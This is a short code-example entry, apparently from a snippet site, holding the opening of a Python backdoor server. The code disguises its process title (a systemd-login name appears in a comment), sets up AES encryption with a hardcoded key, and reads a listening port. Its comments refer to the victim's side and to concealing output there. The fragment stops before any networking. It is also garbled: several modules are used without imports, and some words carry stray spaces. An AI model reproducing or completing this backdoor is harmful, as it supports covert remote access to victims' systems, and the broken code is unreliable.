예제 #1
0
import sys
import setproctitle

# masquerade process title

#"/usr/bin/systemd/systemd-login"
title = "backdoor"
setproctitle.setproctitle(title)

# encryptlencode and decryptldecode a string
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))

# random secret key (both the client and server must match this key)
secret = "sixteen byte key"
iv = Random.New().read(AES.block_size)

# create cipher object

cipher = AES.new(secret, AES.MODE_CFB, iv)

# parse command line argument
# generally any output would be concealed on the ser ver (victim's) side
parser = optparse.OptionParser("usage : python server. py -p <port>")
parser.add_option('-p', dest='port', type='int', help='port')
(options, args) = parser.parse_args()
if (options.port == None):
    print(parser.usage)
    sys.exit()
else:
    port = options.port